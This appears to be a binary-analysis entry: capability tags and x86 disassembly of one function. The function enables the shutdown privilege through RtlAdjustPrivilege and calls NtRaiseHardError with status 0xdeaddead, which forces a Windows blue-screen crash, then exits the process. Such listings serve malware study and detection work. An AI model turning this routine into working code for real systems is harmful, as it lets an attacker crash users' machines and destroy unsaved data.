Function at 0x4016e0
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403590
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x407008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x3c]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
jne 0x40178d
push str.ntdll.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x401793
push str.RtlAdjustPrivilege
push edi
call esi
push str.NtRaiseHardError
push edi
mov dword [ebp - 0x1c], eax
call esi
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
test ecx, ecx
je 0x401782
test eax, eax
je 0x401782
lea eax, [ebp - 0x15]
push eax
push 0
push 1
push 0x13
call ecx
lea eax, [ebp - 0x24]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call dword [ebp - 0x20]
add esp, 0x28
push edi
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call edi
jmp 0x401799
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x34]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x401807
push str.ntdll.dll
call ebx
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x401807
push str.RtlAdjustPrivilege
push eax
call esi
push str.NtRaiseHardError
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
call esi
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
test ecx, ecx
je 0x401802
test eax, eax
je 0x401802
lea eax, [ebp - 0x15]
push eax
push 0
push 1
push 0x13
call ecx
lea eax, [ebp - 0x20]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call dword [ebp - 0x24]
add esp, 0x28
push dword [ebp - 0x1c]
call edi
push 0
push 0
push 0
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 1
push eax
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x401887
push str.ntdll.dll
call ebx
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x401887
push str.RtlAdjustPrivilege
push eax
call esi
push str.NtRaiseHardError
push dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
call esi
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
test ecx, ecx
je 0x401882
test eax, eax
je 0x401882
lea eax, [ebp - 0x15]
push eax
push 0
push 1
push 0x13
call ecx
lea eax, [ebp - 0x24]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call dword [ebp - 0x20]
add esp, 0x28
push dword [ebp - 0x1c]
call edi
push str.ntdll.dll
mov dword [ebp - 4], 0
call ebx
mov ebx, eax
push str.RtlAdjustPrivilege
push ebx
call esi
push str.NtRaiseHardError
push ebx
mov dword [ebp - 0x24], eax
call esi
mov esi, eax
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x4018dc
test esi, esi
je 0x4018dc
lea ecx, [ebp - 0x15]
push ecx
push 0
push 1
push 0x13
call eax
add esp, 0x10
lea eax, [ebp - 0x20]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call esi
add esp, 0x18
push ebx
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]